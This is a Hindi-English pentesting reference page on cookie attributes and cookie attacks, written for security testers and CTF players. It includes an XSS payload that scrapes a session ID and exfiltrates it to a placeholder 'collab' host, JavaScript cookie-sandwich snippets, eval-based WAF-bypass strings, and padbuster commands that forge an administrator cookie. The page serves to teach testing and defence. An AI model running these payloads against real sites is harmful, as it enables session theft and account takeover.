Cookies Hacking

Reading time: 18 minutes

Cookie Attributes

Cookies में कई attributes होते हैं जो उपयोगकर्ता के browser में उनके व्यवहार को नियंत्रित करते हैं। नीचे इन attributes का संक्षेप में विवरण दिया गया है:

Expires and Max-Age

Expires attribute द्वारा cookie की expiry date निर्धारित होती है। इसके विपरीत, Max-age attribute cookie के delete होने तक के seconds में समय को परिभाषित करता है। Max-age चुनें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।

Domain

Domain attribute उन hosts को निर्दिष्ट करता है जिन्हें cookie प्राप्त होगी। डिफ़ॉल्ट रूप से यह उस host पर सेट होता है जिसने cookie जारी की थी, और इसमें उसके subdomains शामिल नहीं होते। हालांकि, जब Domain attribute स्पष्ट रूप से सेट किया जाता है, तो यह subdomains को भी समेट लेता है। इससे Domain attribute का विनिर्देशन कम प्रतिबंधात्मक विकल्प बन जाता है, उन परिदृश्यों के लिए उपयोगी जहां subdomains के बीच cookie साझा करना आवश्यक हो। उदाहरण के लिए, Domain=mozilla.org सेट करने से cookies उसके subdomains जैसे developer.mozilla.org पर भी उपलब्ध हो जाती हैं।

Path

Path attribute उस specific URL path को बताता है जो requested URL में मौजूद होना चाहिए ताकि Cookie header भेजा जाए। यह attribute / character को directory separator मानता है, जिससे subdirectories में भी मैच हो सकते हैं।

Ordering Rules

जब दो cookies एक ही नाम साझा करते हैं, तो भेजने के लिए चुनी जाने वाली cookie का निर्धारण इस आधार पर होता है:

• वह cookie जिसका path requested URL में सबसे लंबा मैच करता है।
• यदि paths एक जैसे हैं तो सबसे हाल में सेट की गयी cookie चुनी जाती है।

SameSite

• SameSite attribute यह निर्धारित करता है कि third-party domains से आने वाले requests पर cookies भेजी जाएँगी या नहीं। इसके तीन settings हैं:
• Strict: third-party requests पर cookie भेजने को रोकता है।
• Lax: third-party websites द्वारा initiate किए गए GET requests के साथ cookie भेजने की अनुमति देता है।
• None: किसी भी third-party domain से cookie भेजने की अनुमति देता है।

ध्यान रखें, cookies को configure करते समय इन attributes को समझना विभिन्न परिस्थितियों में उनके अपेक्षित व्यवहार को सुनिश्चित करने में मदद करता है।

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
ध्यान दें कि अस्थायी रूप से, इस परिवर्तन को लागू करने के बाद, Chrome में SameSite नीति के बिना cookies को पहले पहले 2 मिनटों के लिए None माना जाएगा और उसके बाद top-level cross-site POST requests के लिए Lax के रूप में माना जाएगा।

Cookies Flags

HttpOnly

यह client को cookie तक access करने से रोकता है (उदाहरण के लिए Javascript के माध्यम से: document.cookie)

Bypasses

• यदि पेज किसी request के response के रूप में cookies भेज रहा है (उदा. PHPinfo पेज में), तो इस पेज पर request भेजने के लिए XSS का दुरुपयोग करके response से cookies चुराना संभव है (उदाहरण देखें https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• इसे TRACE HTTP requests के साथ बायपास किया जा सकता है क्योंकि server से response (यदि यह HTTP method उपलब्ध हो) भेजे गए cookies को reflect करेगा। इस technique को Cross-Site Tracking कहा जाता है।
• आधुनिक browsers इस technique से बचने के लिए JS से TRACE request भेजने की अनुमति नहीं देते। हालाँकि, कुछ specific सॉफ़्टवेयर में इससे बायपास मिलने की रिपोर्ट है, जैसे IE6.0 SP2 को \r\nTRACE भेजना TRACE के स्थान पर।
• एक अन्य तरीका ब्राउज़रों के zero/day vulnerabilities का exploit करना है।
• Cookie Jar overflow attack perform करके HttpOnly cookies को overwrite करना संभव है:

Cookie Jar Overflow

• इन cookies को exfiltrate करने के लिए Cookie Smuggling attack का उपयोग संभव है
• यदि कोई server-side endpoint raw session ID को HTTP response में echo करता है (उदा., HTML comments या debug block के भीतर), तो आप XSS gadget का उपयोग करके उस endpoint को fetch करके, secret को regex से निकालकर, और उसे exfiltrate करके HttpOnly को bypass कर सकते हैं। Example XSS payload pattern:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

अनुरोध केवल तभी HTTP अनुरोध में cookie भेजेगा जब अनुरोध एक सुरक्षित चैनल (आम तौर पर HTTPS) के माध्यम से प्रेषित किया गया हो।

Cookies Prefixes

__Secure- से prefixed cookies को HTTPS द्वारा सुरक्षित पृष्ठों से ही सेट करते समय secure flag के साथ सेट करना आवश्यक होता है।

__Host- से prefixed cookies के लिए कई शर्तें पूरी करनी होती हैं:

• इन्हें secure flag के साथ सेट किया जाना चाहिए।
• इन्हें एक HTTPS से सुरक्षित पृष्ठ से उत्पन्न होना चाहिए।
• इनमें domain निर्दिष्ट करना वर्जित है, ताकि इन्हें subdomains पर ट्रांसमिट होने से रोका जा सके।
• इन cookies के लिए path / होना चाहिए।

यह ध्यान रखने योग्य है कि __Host- से prefixed cookies को superdomains या subdomains पर भेजना अनुमति नहीं है। यह प्रतिबंध application cookies को अलग करने में मदद करता है। इसलिए, सभी application cookies के लिए __Host- prefix का उपयोग करना सुरक्षा और isolation बढ़ाने के लिए एक अच्छी प्रैक्टिस माना जा सकता है।

Overwriting cookies

तो, __Host- prefixed cookies की एक सुरक्षा विशेषता यह है कि इन्हें subdomains से overwrite होने से रोका जाता है। उदाहरण के लिए Cookie Tossing attacks को रोकना। टॉक Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) में यह दिखाया गया कि parser को धोखा देकर subdomain से __HOST- prefixed cookies सेट करना संभव था, उदाहरण के लिए "=" को शुरुआत में या शुरुआत और अंत में जोड़कर...:

या PHP में cookie नाम की शुरुआत में अन्य characters जोड़ना संभव था जो underscore characters से बदल दिए जाते थे, जिससे __HOST- cookies को overwrite करने की अनुमति मिल जाती थी:

Cookies Attacks

यदि कोई custom cookie में sensitive डेटा है तो उसे जाँचें (खासकर यदि आप CTF खेल रहे हैं), क्योंकि यह vulnerable हो सकता है।

Decoding and Manipulating Cookies

Cookies में embedded sensitive डेटा को हमेशा जांचना चाहिए। Base64 या समान format में encoded cookies को अक्सर decode किया जा सकता है। यह कमजोरी attackers को cookie की सामग्री बदलने और अपने संशोधित डेटा को फिर से encode करके cookie में डाल कर दूसरे users की impersonation करने की अनुमति देती है।

Session Hijacking

यह हमला किसी user की cookie चुरा कर application में उनके खाते तक unauthorized access प्राप्त करने से संबंधित है। चोरी की गई cookie का उपयोग करके attacker वैध user का impersonate कर सकता है।

Session Fixation

इस परिदृश्य में attacker किसी victim को किसी विशेष cookie का उपयोग करके login करने के लिए भड़काता है। यदि application login पर नया cookie नहीं देता, तो attacker के पास जो मूल cookie है उससे वह victim का impersonate कर सकता है। यह तकनीक इस बात पर निर्भर करती है कि victim attacker द्वारा प्रदान की गई cookie के साथ login करे।

यदि आपने किसी subdomain में XSS पाया है या आप किसी subdomain को control करते हैं, पढ़ें:

Cookie Tossing

Session Donation

यहाँ attacker victim को आश्वस्त करता है कि वे attacker के session cookie का उपयोग कर रहे हैं। victim, यह सोचकर कि वे अपने ही खाते में logged-in हैं, अनजाने में attacker के खाते के context में actions करेंगे।

यदि आपने किसी subdomain में XSS पाया है या आप किसी subdomain को control करते हैं, पढ़ें:

Cookie Tossing

JWT Cookies

पहले दिए गए लिंक पर क्लिक करके JWT में संभावित कमियों को समझाने वाला पेज देखें।

JSON Web Tokens (JWT) जो cookies में उपयोग होते हैं वे भी vulnerabilities पेश कर सकते हैं। संभावित flaws और उन्हें exploit करने के तरीकों की विस्तृत जानकारी के लिए hacking JWT पर लिंक किए गए दस्तावेज़ को पढ़ना अनुशंसित है।

Cross-Site Request Forgery (CSRF)

यह हमला किसी logged-in user को उस web application पर अनचाहे actions execute करने के लिए मजबूर करता है जिसमें वे वर्तमान में authenticated हैं। attackers उन cookies का फायदा उठा सकते हैं जो vulnerable साइट के लिए हर request के साथ automatically भेजी जाती हैं।

Empty Cookies

(Check further details in theoriginal research) Browsers बिना नाम की cookie बनाने की अनुमति देते हैं, जिसे JavaScript के माध्यम से निम्नलिखित तरीके से दिखाया जा सकता है:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

भेजे गए cookie header में परिणाम a=v1; test value; b=v2; है। यह रोचक है कि अगर एक खाली नाम वाला cookie सेट किया जाए तो यह cookies में हेरफेर की अनुमति देता है, और खाली cookie को किसी विशिष्ट मान पर सेट करके अन्य cookies को नियंत्रित किया जा सकता है:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

This leads to the browser sending a cookie header interpreted by every web server as a cookie named a with a value b.

Chrome बग: Unicode Surrogate Codepoint समस्या

Chrome में, अगर कोई Unicode surrogate codepoint किसी set cookie का हिस्सा होता है, तो document.cookie भ्रष्ट हो जाता है, और बाद में एक खाली string लौटाता है:

document.cookie = "\ud800=meep"

इसका परिणाम यह होता है कि document.cookie एक खाली string आउटपुट करता है, जो स्थायी corruption को दर्शाता है।

Cookie Smuggling — Parsing Issues के कारण

(Check further details in theoriginal research) कुछ वेब सर्वर, जिनमें Java (Jetty, TomCat, Undertow) और Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) के सर्वर शामिल हैं, पुराने RFC2965 सपोर्ट के कारण cookie strings को गलत तरीके से हैंडल करते हैं। वे डबल-कोटेड cookie value को एक single value के रूप में पढ़ते हैं, भले ही उसमें semicolons हों, जो सामान्यतः key-value pairs को अलग करने चाहिए:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection कमजोरियाँ

(Check further details in theoriginal research) सर्वरों द्वारा cookies की गलत parsing, विशेष रूप से Undertow, Zope, और उन सर्वरों में जो Python's http.cookie.SimpleCookie और http.cookie.BaseCookie का उपयोग करते हैं, cookie injection हमलों के अवसर पैदा करती है। ये सर्वर नए cookies की शुरुआत को सही ढंग से अलग नहीं कर पाते, जिससे attackers spoofed cookies जमा कर सकते हैं:

• Undertow एक quoted value के तुरंत बाद नए cookie की उम्मीद करता है बिना semicolon के।
• Zope अगला cookie parse करने के लिए comma ढूँढता है।
• Python's cookie classes parsing को एक space character पर शुरू करते हैं।

यह vulnerability उन web applications के लिए खासकर खतरनाक है जो cookie-based CSRF protection पर निर्भर करते हैं, क्योंकि यह attackers को spoofed CSRF-token cookies inject करने की अनुमति देती है, जिससे security measures bypass हो सकते हैं। यह समस्या Python के duplicate cookie names को हैंडल करने के तरीके से और बढ़ जाती है, जहाँ last occurrence पहले वाले को override कर देता है। यह असुरक्षित contexts में __Secure- और __Host- cookies के लिए भी चिंताएँ उठाती है और ऐसे back-end servers को cookies पास होने पर authorization bypass का कारण बन सकती है जो spoofing के प्रति संवेदनशील हैं।

Cookies $version

WAF Bypass

According to this blogpost, यह संभव हो सकता है कि cookie attribute $Version=1 का उपयोग करके backend को cookie को parse करने के लिए पुरानी logic इस्तेमाल करने पर मजबूर किया जा सके, जिसका कारण RFC2109 है। इसके अलावा, अन्य values जैसे $Domain और $Path का उपयोग backend के व्यवहार को cookie के साथ modify करने के लिए किया जा सकता है।

Cookie Sandwich Attack

According to this blogpost cookie sandwich technique का उपयोग करके HttpOnly cookies चोरी करना संभव हो सकता है। ये आवश्यकताएँ और चरण हैं:

• ऐसा स्थान ढूँढ़ें जहाँ एक स्पष्ट रूप से बेकार cookie response में प्रतिबिंबित हो।
• $Version नाम का एक cookie बनाएं जिसकी value 1 हो (आप यह XSS attack से JS द्वारा कर सकते हैं) और इसे एक अधिक specific path दें ताकि यह initial position प्राप्त कर सके (कुछ frameworks जैसे python को यह कदम आवश्यक नहीं होता)।
• वह cookie बनाएं जो प्रतिबिंबित होती है और जिसकी value एक open double quotes छोड़ती हो और एक specific path हो ताकि यह cookie db में पिछले वाले ($Version) के बाद स्थित हो।
• फिर, वैध cookie order में अगली जगह पर चले जाएगी।
• एक dummy cookie बनाएं जो अपने value के अंदर double quotes को बंद कर दे।

इस तरह victim cookie नए cookie version 1 के अंदर फंस जाती है और जब भी वह प्रतिबिंबित होगी तो वह reflect हो जाएगी। e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

पिछले अनुभाग को देखें।

Bypassing value analysis with quoted-string encoding

यह parsing cookies के भीतर escaped मानों को unescape करने का संकेत देता है, इसलिए "\a" "a" बन जाता है। यह WAFS को bypass करने के लिए उपयोगी हो सकता है, जैसे:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

RFC2109 में यह बताया गया है कि comma को cookie values के बीच separator के रूप में उपयोग किया जा सकता है। और यह भी संभव है कि equal sign के पहले और बाद में spaces और tabs जोड़े जा सकें। इसलिए $Version=1; foo=bar, abc = qux जैसा cookie "foo":"bar, admin = qux" cookie को जेनरेट नहीं करता बल्कि cookies foo":"bar" और "admin":"qux" को जेनरेट करता है। ध्यान दें कि कैसे 2 cookies बनते हैं और कैसे admin के पहले और बाद के space हट गए।

Bypassing value analysis with cookie splitting

अंत में, विभिन्न backdoors अलग-अलग cookie headers में पास किए गए अलग-अलग cookies को एक string में जोड़ देते हैं, जैसे:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

जो इस उदाहरण की तरह WAF को बायपास करने की अनुमति दे सकता है:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

अतिरिक्त कमजोर Cookies जाँचें

बुनियादी जाँचें

• cookie हर बार login करने पर समान रहती है।
• Log out और उसी cookie का उपयोग करने की कोशिश करें।
• वही cookie इस्तेमाल करके एक ही account में 2 devices (या browsers) से log in करने की कोशिश करें।
• जाँचें कि cookie में कोई जानकारी है और उसे बदलने की कोशिश करें।
• लगभग एक जैसे username वाले कई accounts बनाकर देखें और देखें क्या आप समानताएँ देख सकते हैं।
• यदि मौजूद हो तो "remember me" विकल्प जाँचें कि यह कैसे काम करता है। यदि यह मौजूद है और कमजोर हो सकता है, तो अन्य किसी cookie के बिना हमेशा remember me की cookie का ही उपयोग करें।
• जाँचें कि पिछली cookie पासवर्ड बदलने के बाद भी काम करती है या नहीं।

उन्नत cookies हमले

यदि cookie login करने पर वही रहती है (या लगभग वही), तो इसका मतलब है कि cookie आपके account के किसी फील्ड (संभवतः username) से जुड़ी है। तब आप:

• बहुत सारे accounts बनाकर जिनके usernames बहुत समान हों और कोशिश करें अनुमान लगाएँ कि algorithm कैसे काम कर रहा है।
• Try to bruteforce the username. अगर cookie केवल आपके username के authentication method के रूप में सेव होती है, तो आप username "Bmin" के साथ एक account बना सकते हैं और अपनी cookie के हर एक bit को bruteforce कर सकते हैं क्योंकि जिन cookie को आप ट्राई करेंगे उनमें से एक वह होगी जो "admin" की है।
• Try Padding Oracle (आप cookie की सामग्री डिक्रिप्ट कर सकते हैं)। Use padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster कई प्रयास करेगा और आपसे पूछेगा कि कौन-सी स्थिति त्रुटि की स्थिति है (वही जो मान्य नहीं है)।

फिर यह cookie को decrypting करना शुरू कर देगा (यह कुछ मिनट ले सकता है)

यदि attack सफलतापूर्वक किया गया है, तो आप अपनी पसंद की string को encrypt करने का प्रयास कर सकते हैं। उदाहरण के लिए, यदि आप encrypt user=administrator करना चाहें

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

यह निष्पादन आपको सही तरीके से encrypted और encoded cookie देगा जिसमें स्ट्रिंग user=administrator मौजूद है।

CBC-MAC

संभव है कि किसी cookie में कोई value हो और उसे CBC का उपयोग करके signed किया गया हो। तब उस value की integrity उस signature से तय होती है जो उसी value का उपयोग करके CBC से बनाई गई हो। चूँकि IV के लिए null vector का उपयोग करने की सलाह दी जाती है, इसलिए इस तरह की integrity checking कमजोर हो सकती है।

आक्रमण

1. username administ का signature प्राप्त करें = t
2. username rator\x00\x00\x00 XOR t का signature प्राप्त करें = t'
3. cookie में value administrator+t' सेट करें (t' (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 का valid signature होगा)

ECB

यदि cookie को ECB का उपयोग करके encrypted किया गया है तो यह vulnerable हो सकता है.
जब आप log in करते हैं तो जो cookie आपको मिलता है वह हमेशा वही होना चाहिए।

How to detect and attack:

Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie

Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).

There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".

संदर्भ

• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/